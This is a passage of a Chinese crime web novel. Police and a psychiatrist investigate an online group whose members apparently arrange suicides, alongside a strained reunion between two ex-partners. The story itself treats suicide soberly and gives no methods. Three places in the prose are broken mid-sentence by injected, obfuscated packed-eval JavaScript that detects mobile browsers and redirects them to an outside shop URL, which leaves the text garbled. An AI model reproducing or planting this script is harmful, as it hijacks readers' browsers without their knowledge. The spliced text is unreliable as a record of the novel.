《腹心之疾[刑侦]》 3. 003 “哟,廖局,来得正好,萌萌正要联系您呢!”叶锦书满脸堆笑,廖副局太清楚这人了,无事献殷勤,八成没好事。 “找我干嘛?”廖副局一脸警惕,抬脚走进办公室,朝着休息区的沙发走去。 “老沈上热搜的事儿啊,你过来不是说这事儿的吗?”叶锦书说着,视线移向胡于乐,看小胡同志尴尬的表情,才发现似乎他们的确不是为这事儿来的。 “沈确那个热搜,市局评估过了,正向舆情,我们不需要干涉。”廖副局走到沙发前坐了下来,苏萌萌已经懂事地去泡茶了。 “嗯,这个我知道,我是说再加把火,我一会儿让萌萌拟一则警情通报,发给市局那边,让‘平安C市’发出来,表明一个咱们的态度,网友肯定也想知道后续,速战速决,也能给想犯罪或者已经犯罪还抱有侥幸心理的人一个震慑嘛!” 叶锦书也跟着过去,在单人沙发一侧坐了下来,大案组其他人跟着聚拢过来,站在单人沙发后,纷纷看向廖副局。 难得这人嘴里说出来的不是什么坏事,廖副局点头答应下来:“行,你让萌萌先拟,我一会儿打个电话给牟队说一声。” “OK!”叶锦书比了个手势,苏萌萌刚好泡好了两杯茶,端给了廖副局和胡于乐,叶锦书挑了挑眉,继续说,“说吧,您又有何贵干呐?” 廖副局剜了他一眼,清了清嗓子,吩咐身边的胡于乐:“小胡,你来说一下吧。” “哦,好!”胡于乐赶忙放下手里的茶杯,坐得端端正正,把带来的牛皮文件袋递给了叶锦书,叶锦书也不客气,顺手传给了身后的沈确。 沈确无语,也只好接过,打开文件袋,拿出里面的资料。 “事情的起因,是昨天互联网公司推送了一条紧急线索过来,说发现了一个‘约死群’,群成员很可能都有自杀倾向,他们通过群相约自杀,并且其中有几人已经付诸行动了。” 沈确听着胡于乐的讲解,手上翻看着打印出来的聊天记录截图,站在他两边的张淞栩和冉季都伸长脖子凑了过来。 群名为“登山爱好者”,目前有群成员13人,算是个小群,群成员聊天内容的确比较负能量,抱怨工作辛苦,抱怨学习压力大,抱怨生活中的种种不如意,从聊天内容来看,群里的人似乎都很倒霉:错过公交导致迟到扣钱,点的外卖没有配餐具,下雨天被路过的车溅了一裤子的污水。 桩桩件件,虽不致命,但日积月累,总有一天会成为压垮骆驼的最后一根稻草。 但并没有胡于乐口中“相约自杀”的内容,只是沈确也隐约从文字中读出了异常——这群人只是各自抱怨着自己的不如意,彼此没有半句安慰鼓励。 “这是什么比惨大会啊,”张淞栩吐槽,“不是登山爱好者吗?怎么一句和爬山有关的都没有啊?” “的确有点问题,群里都是负能量言论,但没有明显的‘约死’,”沈确没有回答张淞栩,而是看向胡于乐,“你说已经付诸行动了?” 胡于乐点头:“你们还记得上个月,御风山景区发生的意外吗?游客夜爬的时候偏离了步道,意外坠落,同行伙伴营救的时候也不慎坠落,直到天亮了,景区工作人员才发现三人的尸体报了警,”胡于乐看向沈确手里的材料,“发生意外的三人,都在这个群里。” 叶锦书没有回头,摊开右手,沈确便把手里的材料放上他的掌心。 叶锦书飞快翻看完,做出了点评:“从正常社交的角度,这个群的氛围的确不太好,但如果把这个群当做一个负能量垃圾桶,也说得过去吧,就算登山的时候‘意外’坠亡,和群名有印证,这也不能作为他们通过这个群‘约死’的证据,不是吗?” “是的,”胡于乐坦承,“我们查看了互联网公司传过来的所有群消息,包括坠亡的三名群员的社交账号,的确没有找到他们是相约自杀的证据,但这个群是‘约死群’,我们讨论之后,觉得可信度极高。” “为什么?” “因为举报这个群的人,曾经也在这个群里,只是他又重新找到了生的希望,所以当他试图鼓励大家的时候,却被群主踢出了群。” 这也解释了聊天内容里为什么没有安慰鼓励,因为这个群并不需要希望,这是一群在绝望的泥沼里挣扎的人,他们聚在一起,只是为了证明,这个世界烂透了,他们的人生也糟透了。 “他们应该还有其他联系的方式吧?既然这个群里并没有他们‘约死’的内容,那位举报人,没有提供吗?”沈确一针见血。 胡于乐叹了一口气,转头飞快看了廖副局一眼,继续说:“这也是我们来这里的原因,举报人加入‘约死群’的时间并不长,他也并不清楚,这群人究竟是通过什么方式相约自杀的,我们核实了群员的最后登录时间,除了上个月‘意外坠亡’的三人,还有三人的最后登录时间在三个月前,并且在同一天,最后登陆地都在渭市。我们查了一下,那天在渭市影山景区也发生了意外。” “就是他们仨?”张淞栩瞪大双眼。 “是的,我们联络了渭市警方,和御风山的情况,如出一辙。” “这群人,应该不都是我们本地的吧?”叶锦书问。 “群主是。” 冉季脱口而出:“那我们直接去找群主,群里的其他成员也推送给属地的警方,让他们上门去了解情况,劝阻他们自杀,不行吗?” “证据呢?小季。”叶锦书并没有一口否决冉季的提议,而是引导他深入思考。 “群成员,已经有两拨人,都发生了意外,而且他们在群里聊天的内容……”冉季说到后面,声音也变小了,他也意识到了问题的关键,现在他们没有任何证据证明这不是意外,“自杀倾向”是非常隐秘的东西,只要当事人自己不承认,就“不存在”。 最后胡于乐说:“我们希望你们能够还原‘约死群’内群员相约自杀的过程,并且阻止他们的下一次行动,只有找到证据,才能够介入对他们进行劝阻、疏导。” “这有些难度,毕竟这种情况,多多少少也和当事人的心理健康状况相关,和抑郁症相处,方法不对,也很有可能适得其反,”廖副局补充,“所以我也联系了唐院长,让他安排一个专业的精神科的同志,解答我们的疑惑,也帮我们支支招……” * 午休时间还剩半个小时,夏思勉的午间小憩被窗外传来的一声巨响打扰,没找到声音源头,困意也随之消散。 一上午他都心神不宁,地铁上发生的一幕幕,总在他意想不到的时刻突然浮现在脑海随机播放,他一遍又一遍复习那些瞬间,与之相伴的情绪也依然鲜活,他的呼吸和心跳被跌宕起伏的情节牵引着不断加速,又骤然停止,最后画面总会定格在沈确那无懈可击的侧颜上。 夏思勉已经有些习惯想到沈确的时候,胸口闷闷的,又像是被什么撕扯着的感觉了。 他太喜欢沈确了,即使分开一年多,这样的喜欢也没有减弱半分。 可他已经失去沈确了,分手也是他自己提的,这世上没有后悔药。 桌面上的手机震动起来,来电显示是唐院长。 夏思勉回过神,抬手轻轻揉了揉胸口,试图放松肌肉,又做了个深呼吸,才滑开屏幕接通电话,那头传来唐院长的声音:“思勉,在忙吗?” “没有,现在是午休时间。” “噢,那辛苦你,来我办公室一趟吧!” * 院长办公室在住院部顶层,夏思勉今天在门诊坐班,要从急诊部大楼穿过花园,才能去到住院部,二十五分钟,往返加上说事,的确有些赶时间。 电梯门打开,夏思勉大步跨了出去,急诊部一楼永远人满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903817|192324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为患,相较之下,精神科就清闲多了。 “医生!医生!快来人啊!她晕倒了!” 听到有人急切的呼喊,夏思勉循声望去,就看到一个十六七岁的女生右手打着甲板,左手正艰难的拽着一个从座椅上滑坐到地上的孕妇,周围的人都起身让开,脸上是不同出程度的错愕。 心跳骤然加速,喧闹的急诊部大厅瞬间静了下来,夏思勉甚至能够听到自己的呼吸声。 与此同时,他听到了心底另一个严厉的声音:你是医生! 夏思勉冲了上去,孕妇面色苍白,意识已经涣散,额前鼻下都有细密的汗珠,这是休克的症状。 夏思勉咽了一口唾沫,一手从孕妇的腋下穿过扶住她的后背,一手从她膝盖下方穿过,将她抱起来的同时询问旁边的女生:“你是她什么人?” “我不认识她,她坐在我旁边,刚让我帮她叫医生,还没说完就滑下去了!”女生显然也吓坏了。 “知道了,谢谢你。”夏思勉说完抱着孕妇挤出了等候区,听到呼救的急诊科医护也推着担架床冲了过来,在护士们的协助下,夏思勉将孕妇稳稳放上了担架床。 负责的急诊医生是夏思勉的同校师妹任桂枝,夏思勉争分夺秒说出了自己的推测:“任医生,可能是宫外孕。” 任桂枝一愣,又连忙点头答应:“明白!” * 一群人推着担架床往急救室赶,直到他们彻底消失在视野范围,夏思勉绷紧的后背才放松下来。 关注的视线从四面八方投了过来,夏思勉能够察觉到,也知道这些都是善意的注视。 可夏思勉受之有愧,因为他知道,他不是一个合格的医生。 夏思勉是优等生,高考以香州第36名的成绩考入了C医大临床医学,入学后各科成绩也名列前茅,授课老师都觉得他是不可多得的好苗子,可随着有关医学的知识储备增加,他所知道的极端案例越多,他的脑子想得也越多,最后出乎所有人的意料,他的研究生专业选择了精神病学与精神卫生。 他是懦夫。 只要远离第一线,就不必为任何人的死亡承担责任。 他一向如此狡猾。 * 夏思勉到院长办公室的时候,唐院长正在打电话,见夏思勉来了,连忙示意沙发的方向,仓促地说完结束语,挂断了电话。 “思勉来了。” “院长。”夏思勉礼貌地颔首问好。 “坐,”唐院长招呼夏思勉坐下,关切地询问,“最近的工作怎么样?” “嗯,一切顺利,”夏思勉知道,唐院长叫自己来不会只是日常寒暄,便委婉地提醒他,“院长,我两点还要回门诊。” “没事,线上已经停止挂号了,已经挂好的号也转给其他医生了。” 夏思勉的呼吸一滞,不由得坐得更直了。 唐院长看出了夏思勉的拘谨,连忙解释:“你别紧张,你的工作完成得很好,今天叫你来,是想再给你安排一份额外的工作。” 夏思勉没有做声,静待唐院长指示,唐院长也没有卖关子:“我们院一直在给滨海分局提供一些专业上的支撑,遇到某些棘手的案件,公安需要我们协助,我们会派专家去公安局,之前一直都是程主任在负责这一块,他和公安也比较熟了。” “滨海分局”四个字就像是一块小小的拨片,在夏思勉的心弦上轻轻一拨,余音久久不散。 “廖局上午就联系了我,说需要我们的协助,但是你知道的,程主任最近在带项目,刚好在关键时期,他走不开,于是他向我推荐了你,”唐院长看着夏思勉的双眼,恳切道,“他认为你能够胜任这份工作,当然,我们也要充分考虑你的感受,所以,在这里,我想要问问你的意思,思勉,你是否愿意代表我们医院,协助公安的调查呢?” 4.004 滨海分局三楼的露台上,只有大案组三人在吞云吐雾聊案情,郭雪明和冉季送朱琅去拘留所了,苏萌萌则留在办公室里梳理网安发过来的资料。 “想什么呢?”见沈确心不在焉,叶锦书用指尖轻轻叩了叩花园桌的玻璃桌面。 沈确总算是抬眼看向他,随口道:“没什么。” “‘热搜哥’,这么快就把架子端起来了?”叶锦书揶揄。 这人嘴贱也不是第一天了,沈确懒得理他,但提到这个,张淞栩也来劲儿了:“现在的网友真的强,原作者视频打了码,模糊成那样,都有人看出来了,发评论问沈哥是不是长得很帅,结果作者给这条评论点了个赞,这下好了,全国人民都知道沈哥不仅勇斗地铁暴露狂,还是个大帅哥了,”张淞栩坏笑着看向沈确,做出采访状,用播音腔询问,“现在已经有超过六千名网友向您递来结婚申请,请问您此刻心情如何?” 沈确白了张淞栩一眼,摁灭了手里剩下的半支香烟。 见沈确这是要走的意思,叶锦书也不敢再开他的玩笑了,赶紧挥开张淞栩,把话题又拉了回来:“朱琅那刀,是冲着你的脸去的。” “嗯。”沈确应了一声。 “夏思勉跟我说,朱琅在被你抓到后,恼羞成怒,说明他并不属于通过‘暴露’获得满足感的类型,而他对你这张脸的厌恶,可能源自他心底的自卑,在地铁上做这种事,很可能是想要宣泄内心的情绪。” “哇!夏哥懂得好多,话说廖局说的专家,不会是我夏哥吧?”张淞栩摩挲着下巴。 “夏思勉?专家?”叶锦书听笑了,“你自己觉得这两个词语放在一起搭不搭?” 张淞栩也乐了,瞟了一眼沈确,理直气壮:“我夏哥怎么不能是专家了!你们不说夏哥在学校是学霸吗?他也就是吃了年龄小的亏,说不定比程教授还厉害……卧槽!”张淞栩突然瞪大了双眼,指着里面的走廊惊呼出声,“真是夏哥啊!” “张松鼠,你这表演痕迹好重啊。”叶锦书感叹,压根儿不中招。 “不是……真是夏哥啊——夏哥!”张淞栩还伸出手挥了挥。 叶锦书不耐烦地转过头,迎接他的果然是空荡荡的走廊和张淞栩的嘲笑。 可下一秒两个人都变了脸色。 “我去!真是夏哥啊!”张淞栩猛地站了起来。 沈确冷眼看着两人浮夸的表演,中国人都是听着“狼来了”的故事长大的,他可没有义务陪这两个人演这一出。 “夏思勉?你来这里干什么?”叶锦书语气里的嫌弃的确是和平时一样,是能够以假乱真的程度。 但也不足以让沈确掉进陷阱里。 紧接着沈确就听到了夏思勉的回答:“唐院让我来协助刑侦队处理一个自杀案。” * 夏思勉被张淞栩迎进了大案组办公室,苏萌萌头也不抬,只招呼了一句:“回来了。” “萌萌,你快看,廖局给咱们安排的专家是谁!” 听出张淞栩语气里的兴奋,苏萌萌歪头来看,看到夏思勉,立马蹦了起来:“夏哥!怎么是你呀!” 夏思勉正要回答苏萌萌,跟在他们身后进办公室的沈确已经加快脚步从他的身边走过,沈确径直走向自己的办公桌,对此刻正在上演的老友相聚没有半分兴趣。 被张淞栩捧了一路,有些飘飘然的夏思勉又落回地面,他克制地回答:“程主任在带项目,走不开,就向唐院推荐了我,我没有经验,也不知道该怎么做,肯定有做得不好的地方,还请你们多担待,我如果遇到拿不准的,也会远程向程主任寻求帮助的,所以你们不用太担心。” “不担心呀!我是觉得,是你来协助我们,真是太好了!”苏萌萌连忙解释。 “总之,我会尽全力协助你们的。”最后夏思勉说,说完后视线不自觉地飘向沈确的方向,沈确却连头都没有回。 “行了,别嘴上尽力了,”叶锦书打断了三人的客套,“萌萌先把资料给夏思勉看一下,一会儿等小季和雪明回来了就开会。” * 第一次案情分析会是在大案组办公室里开的,也算是以大案组的至高礼仪招待夏思勉了,除了咖啡,还有切块蛋糕和水果拼盘。 夏思勉在单人沙发上坐立难安,因为沈确就坐在旁边的长沙发上,正翘着二郎腿在翻看手上的资料。 好像兵荒马乱的只有自己,意识到这件事,夏思勉定了定神,自己来这里是工作的,不要胡思乱想。 “案件相关的资料,连带刚才网安新发来的资料,我都给夏哥了,但雪明和小季刚回来,那我在这里快速过一下。”苏萌萌见缝插针塞了一块芒果进嘴里,将网安新发来的新料投上了大屏幕。 “这个是举报人的信息,举报人宋千凡,22岁,大四实习途中出了车祸,全身多处骨折,经医生诊断评估,终身无法从事重体力劳动,面部受伤导致毁容,后续修复费用高昂,并且也不能回到最初,他不想耽误女友,所以和谈了两年的女友提了分手,肇事司机家里条件也不好,保险公司只赔付部分医药费,后续的康复治疗费用几乎都是自己承担的,他们家也只是普通家庭,老两口多年积蓄都被他掏空,今后的康复更是无底洞,学业中断只能向学校申请延毕,他一时间承受太多压力才会想不开。他在论坛发帖询问有没有‘快速无痛又不会让家人察觉到自己是自杀的办法’,于是这个人就联系上了他。” 苏萌萌快速滑动触控板翻页,手指停下的同时,大屏幕上切换到了另一个人的资料。 “她叫涂羽,也就是‘登山爱好者’群聊的群主。” “所以,进群的条件,是‘由群主邀请’?”冉季目瞪口呆,这就意味着他们想要“卧底”进群取证的难度就更大了。 “至少宋千凡是这样进群的,因为群里的人没有聊过相关的话题,所以他也不知道其他人是通过怎样的途径加群的。” “他知道他们是怎么相约自杀的吗?”冉季又追问。 “不知道,宋千凡没有在群里看他们聊过约死的话题。” 叶锦书似是想起什么,问苏萌萌:“群里有人自杀成功了,其他人是什么反应?” “没有反应,他们很可能都不知道有人死了,宋千凡被踢出群后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911161|192324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都没有意识到这是个‘约死群’,以为这是个负能量树洞,前两天他无意间看到了新闻,御风山景区游客意外坠亡,他想到涂羽之前问过他,要不要来C市参加群里的活动,夜爬御风山,但宋千凡觉得自己已经花了家里很多钱了,开不了口向父母要钱说自己要去旅游,便婉言拒绝了,涂羽也表示理解,说下去如果去离他家近的地方再约他,他越想越觉得不对劲,才向互联网公司举报这个群违规。” “这个很难办啊,直接去问,他们肯定不会承认,要接近他们,只能想办法吸引他们的注意,被看上了才能进群,就算混进群里了,也压根儿不知道他们会怎么组织自杀,选哪几个人相约自杀……这完全没有主动权啊!”张淞栩抱怨完,无比自然地将视线投向夏思勉。 察觉到朝自己投来的目光,夏思勉抬起头来,意识到他们是在等自己分析,便清了清嗓,余光又不自觉落在沈确身上,沈确依旧垂着眼在翻看资料。 “大致的情况我了解了,刚才萌萌提到的宋千凡,他是因为突然的变故,导致压力上升,情绪低落,加上身体受到不可逆的伤害,他对未来失去信心,所以产生了自杀的念头,但通过他在论坛上发帖的内容来看,他虽然有自杀倾向,但同样也有顾虑,第一,他仍然有牵挂,不希望家人发现自己是自杀,害怕家人伤心,这样的人对人世仍有情感牵绊,并不是一心赴死,只是想要逃避现在承受的痛苦,自杀动机并不纯粹,第二,他怕痛,不仅如此,他还强调‘快速’,说明他的态度是摇摆的,只要过程稍长,或者痛感增加,他随时可能会放弃,这样的人,自杀成功率并不高,只停留在‘想’这个阶段,所以,群主才会邀请他加入‘约死群’。” 沈确后背一僵,抬起头来,视线就和夏思勉对上了,他听懂了夏思勉话里的意思。 “在此之前,我想先谈谈‘约死群’,从心理学的角度来看,个体的行为会受群体行为的影响,在个人摇摆不定的时候,多数人会选择从众,群体的行为能强化个体的意图,也会弱化个人责任感知,这就是‘约死’的意义。” “难怪!难怪只准在群里发负能量,不准有人鼓励!”张淞栩也醒悟过来,“她是怕群里其他人受了宋千凡的鼓励,重新燃起生的希望,就不想自杀了,所以才会把宋千凡踢出群!” 夏思勉点头,又补充强调:“但这群人并不健康,长期的抑郁和绝望情绪加重,持续恶化,很可能会让他们在某一天选择自我了断,他们并不是非要聚在一起才能自杀。” “感觉还是得想办法接近他们,‘卧’进群才行啊!”张淞栩被夏思勉带着绕了半天,又回到了最简单粗暴的处理方式上,他问夏思勉,“夏哥,对于成功‘卧底’进群,你有什么建议没?” 夏思勉略加思索,缓缓道:“可能需要表现出‘想死又不敢自己一个人赴死’的情绪,这样成功的几率或许会大一些。” 这个答案有点抽象,众人都陷入思考,就在这时,沈确开口打破了沉默:“如果从筛选进群的成员,到后面组织约死,都是群主主导,那这个案子和涂羽行为的定性,就和我们之前想的不一样了吧?” 5.005 “总之,这两天,你们各显神通,想办法吸引涂羽的注意力,争取被她选中,邀请进群,我们再共同讨论如何进行下一步,只要有一个人进群,我们就胜利了一半。”会议的最后,叶锦书提出了行动方案。 叶锦书的行动方案完全符合刻板印象中的老板提出的要求,就在夏思勉对表哥的领导能力持怀疑态度的时候,大案组众人已经跃跃欲试了,纷纷掏出手机划分自己负责的社交平台,一眼望去,全是沈确同款“手枪”。 察觉到夏思勉的视线,苏萌萌抬起头看向他,默认了这就是充满羡慕的眼神,立马戏精附体,模仿着电影里的特工,表演了一个华丽的转枪,最后稳稳握住握把,朝夏思勉一挑眉,问他:“夏哥,想要吗?” 当然不想了。夏思勉扯了扯嘴角,但情商再低也知道此刻不能实话实说,便尬笑着眨了下眼。 “你用的什么手机?店家发货的时候数重了,有一款多发了一个,万一是你的手机那款呢!” 可千万别是啊。夏思勉一边在心里祈祷,一边配合地掏出了自己的手机。 “哇!这不就巧了吗!”看清夏思勉的手机,苏萌萌立马起身去翻抽屉,“是老大和沈哥的同款!刚好就是多发的那个!” 很快,一把崭新的“手枪”递了过来。 夏思勉骑虎难下,伸手接了过来。 见夏思勉没有要立刻套上的意思,张淞栩赶忙凑来拉他下水:“套上套上,这可是我们萌萌的生日愿望,刚好你今天也加入我们这个team,一切都是天意!” “今天是萌萌的生日?抱歉,我都没有准备任何礼物,还要收礼物……” “没事没事,你不知道嘛!”张淞栩安慰,“你把手机壳套上,萌萌就开心了,是吧?” 苏萌萌点头:“嗯!况且哪里没有准备礼物了,我们组的强力外援是你,就是最大的礼物啦!” “哎呀好了好了,”叶锦书被他们你来我往的客套话恶心得掉了一地的鸡皮疙瘩,“都差不多得了,夏思勉别矫情,赶紧把手机壳套上;你们赶紧划分好自己负责的平台,今晚回家就开始找灵感发点emo的内容,想办法吸引涂羽,已经超过下班时间十分钟了,没别的事就赶紧散了吧!” 叶锦书率先起身,想起来夏思勉的车还在4S店里维修,便问他:“你,一会儿怎么安排?回家吗?我送你。” 夏思勉刚把手机按进手机壳里,迟了半拍才反应过来叶锦书是在对自己说话,匆忙回过头看他,摇了摇头:“你不用管我,我要去趟C医大,程教授在学校带项目,唐院让我来你们这里报完到,就去C医大见见程教授,有不懂的当面问问他,他还在等我吃饭呢。” 夏思勉说完,发现叶锦书竟然在努力克制嘴角的笑意。 还没等叶锦书主动发起攻击,自知无法闪避的沈确就开了口:“那跟我一起吧,我爸去海城培训了,刚好我要去C医大接我妈吃晚饭。” 沈确站了起来,垂眼看向夏思勉,客套又疏离:“走吧,夏医生。” * 沈确给温晴发了消息,现在是晚高峰,从滨海分局出发去C医大,少说也得花一个小时,便叮嘱她饿了吃点小零食垫垫肚子。 电梯到达一楼,门缓缓打开,沈确锁上手机屏幕,抬脚跨了出去。 夏思勉跟在沈确身后,一时有些分不清此刻自己正在经历的是现实还是梦境,从早上在地铁上遇到沈确开始,今天发生的一切都变得梦幻起来——未来一段时间,自己的工作竟然能够和沈确有交集,自己竟然能够像此刻这样,名正言顺地待在沈确的身边。 两人一前一后走下长阶,沈确能够察觉到夏思勉跟在自己两步之外,和自己保持着相对的距离,怕惹自己不舒服,不敢靠得太近,又怕被自己丢下,不敢离得太远。 不上不下,最是让人烦躁。 分开明明是夏思勉自己提的,他现在凭什么摆出一副弃犬的姿态? 还没走近,沈确就抬手解了车门锁,加快脚步走到驾驶座旁拉开了车门。 隔着挡风玻璃,沈确看到了站在车前的夏思勉,也看出了他脸上的犹豫和小心翼翼,显然夏思勉那颗聪明的脑袋瓜此刻正在飞速运转,试图解析自己刚才突然加快脚步上车的原因。 夏思勉就是这样的人,聪明,谨慎,为了不走错,他宁肯站在原地。 未来一段时间,大案组和夏思勉的接触无法避免,从刚才叶锦书的态度来看,这不是叶锦书干的好事,依照夏思勉的性格,这也不会是他主动申请的。 硬要说,可能真的是天意吧。 分手而已,彼此都没有原则上的错误,也没有谁背叛谁,没必要在分开后当仇人,这太幼稚了。 沈确舒了一口气,决定放过自己,偏头示意副驾驶座,替夏思勉做出了选择——上车。 果然夏思勉第一时间接收到了信号,绕过车头,拉开副驾驶座车门上了车。 * 很快他们就被塞在了高峰期的车龙中,车缓缓移动,排队过红绿灯,又排队上高架桥,走走停停,时间仿佛过去了很久,看向窗外却发现并没有前进多少。 车里播放着熟悉的轻音乐,还是记忆中的歌单,夏思勉知道,沈确不喜欢变化。 “今早,你没受伤吧?”夏思勉总算鼓起勇气开了口,右手捏着左手大拇指,暗暗发力。 “没有。”沈确扫了一眼后视镜,见缝插针地变了个道。 “哦……那就好……”夏思勉应完,才发现自己把天聊死了。 可是还能怎么说? 说下次不要做这么危险的事情了,等叶锦书他们来了一起行动。 可沈确是警察,这是他的工作,他注定要干这些危险的事情,情况越是紧急,他越要往上冲。 那说注意安全,说我快担心死了,说我好怕他伤到你,又好恨自己没法帮到你。 可自己和沈确已经分开了,没有身份,没有立场,说这样的话太自以为是了。 夏思勉低下头,大拇指的趾掌关节有点痛,原来是自己右手一直在用力,都快把左手大拇指从手掌上拔下来了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915472|192324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你呢?” “什么?”夏思勉回过头看向沈确,受宠若惊,他不敢相信沈确竟然纡尊降贵把话接过去。 “车祸,不是说昨天出了车祸吗?什么情况?” “哦,没事,”夏思勉像个被老师抽查作业的学生,连忙解释,“不是我的责任,交警出了现场,是对方的全责。他那边有辆大车,正常行驶不会发生擦挂,但他说觉得大车要压线过来撞到他了,他情急之下也没看后视镜,就打了一方向盘,直接就撞过来了,不过我看他的样子,估计是疲劳驾驶吧……” 夏思勉口若悬河,解释完又觉得自己说太多了,抿紧了嘴唇。 沈确认真听完了,并没有嫌烦,继续问:“撞到驾驶室车门了?” “嗯,后视镜都撞断了。” “人没受伤?” “没,真的没受伤,不过确实很大一声,当时是被吓到了,还好……”夏思勉突然住了嘴。 “还好什么?”沈确随口问了一句。 还好你没在车上。夏思勉在心底小声回答,幸好刚才自己及时住口,没有说出后面的内容。 “还好我们都没有受伤。”最后夏思勉干巴巴地说。 “那岂不是这几天都用不了车了?” “嗯,还好,我可以坐地铁上下班,4S店说最迟下周就能提车,只是我昨天才看到日历上做了标记,这周六该带阿努比斯去驱虫了……”夏思勉说完,察觉到车内的气氛变了,又赶忙找补,“不过没关系,迟一周影响也不大!真的。” “嗯,迟一周影响不大,”沈确应了一声,似乎是笑了,还有点落井下石的味道,“就是要多一周不洗澡,阿努比斯臭臭的。” 听完这话,夏思勉也笑了出来,嘴上却在努力维护阿努比斯:“哪里臭了,阿努比斯身上又不臭,也就是脚丫子臭,天冷了,没那么多汗了,就好多了,夏天的时候,那脚丫子才臭呢!” 夏思勉转过头,看到沈确的确是笑了,他突然有些恍惚,好像时间回到了他们分手之前,他们也是这样,即使被堵在回家的路上,可一路说笑,连塞车的时间也过得飞快。 对啊,在那个时候,对夏思勉而言,见到沈确的那一刻,自己就已经到家了。 察觉到夏思勉的视线,沈确敛起了脸上的笑意,没有再接话了。 夏思勉也从那短暂又美好错觉中清醒过来——自己已经失去沈确了。 * 塞了一个小时的车,到C医大的时候天都快黑了。 车在综合楼前停了下来,夏思勉解开安全带,推开车门前,他总算敢再次看向沈确,郑重地向沈确道谢。 “不用,顺路而已。”沈确也总算回过头看向他,这是社交必要的对视。 夏思勉点点头,推开车门下了车,关上车门前,夏思勉又补充:“替我向温教授问好。” 沈确却面无表情,冷冰冰地回绝了他:“没这个必要吧。” 夏思勉推上车门,目送车开走,直至消失在视野尽头,绷紧的后背才缓缓放松下来。 6.006 看着后视镜里越来越小的夏思勉,沈确的心绪又乱了套。 夏思勉确定分到滨海分院实习的那天,他们也正式开启了同居生活,每天早上,沈确会先送夏思勉去医院,再去局里上班,那时候的夏思勉也是这样,站在原地目送沈确离开。 沈确当然能看到,每次分开的时候,夏思勉脸上的不舍,只是那时候的沈确知道,十几个小时后,他们又能再见,他们每晚都能够相拥睡去,再次睁眼见到的第一个人也是彼此,分别便一点也不可怕。 可现在,分别就是分别,有没有下一次再见,谁都说不准。 车在教学楼前停了下来,沈确一眼就看到了被学生们簇拥在中间,和他们有说有笑的温晴。 沈确拿起手机,掰下那个浮夸的手机壳,顺手放进中控箱里,给温晴发了一条消息,只有短短三个字:我到了 温晴握在手里的手机震动了一下,她只扫了一眼消息预览,立马抬眼环顾四周,也看到了停在路边的白色奔驰GLC300,沈确刚好推开了驾驶座的车门。 温晴笑眯眯地向学生们道别,催促他们快去上晚自习,加快脚步朝着路边小跑过来。 沈确绕过车头,刚跨上人行道,就听到温晴远远地在叫他:“岚岚!” “嗯,”沈确应了一声,伸手去接温晴怀里抱着的教材,关切道,“饿没饿?” “有点饿了,不过没关系——你要带我去吃什么好吃的呀?” “想吃什么?你说了算。” “那要不就在学校附近吃吧,把车停在南门停车场,我们走过去吃。”温晴提议。 “好,先上车吧。”沈确拉开副驾驶座车门,待温晴上车坐好了,才推上车门。 * 沈确把温晴的教材放在后座,刚扣上安全带,温晴便迫不及待转过头来问沈确:“对了儿子!今天那条热搜,在地铁上抓到暴露狂那个,是你吗?” “呃,嗯……”连他们家温教授都知道了,看来这视频传播得比沈确想象更广。 “没受伤吧?”温晴托着沈确的下巴,仔仔细细检查了一番,确认沈确没事,才把心揣回肚子里。 “嗯,放心吧,你儿子可是警察,这都搞定不了,还怎么保护你们?” 温晴噗嗤一笑,又摇着头轻叹了一口气:“哎,暴露狂……真是可恶啊,希望那小姑娘不要被影响——但应该是不可能的吧?” “她很勇敢,主动留下来,配合我们做了笔录,也很感激我们抓到了那个人。” “我看警情通报上写,数罪并罚,才行政拘留二十天?他这个不算袭警吗?不可以严惩吗?” “我要是被他拉了一刀,兴许可以判个一两年,你更想要哪个?” 温晴蹙眉,朝沈确努了努嘴,不满道:“乌鸦嘴,不许乱说话!不过话又说回来,他这个问题,比起坐牢,的确是接受治疗更紧迫,不管拘留多久,不解决根本问题,也还是会再犯的……这几年患上心理疾病的人越来越多了,在新闻上看到的相关案件也越来越多了,”温晴转头看向窗外,自言自语一般感叹道,“就像这个社会也生病了一样……” * 周五下午的周会结束前,叶锦书总算想起来问众人“卧底”进度,察觉到众人都倒吸了一口凉气,叶锦书就知道情势不容乐观了。 “不是……苏萌萌,你不是写小说的吗?我以为你能够写点可以引发人共鸣的小作文,让涂羽看上你呢!”叶锦书使出激将法。 “小作文我写了啊,我都成热帖了!可她不找我,我也没办法啊!”苏萌萌立马掏出手机来自证实力。 叶锦书凑过去检查,果然苏萌萌发的帖子在论坛首页,前面还有一个红色加粗的“热”字。 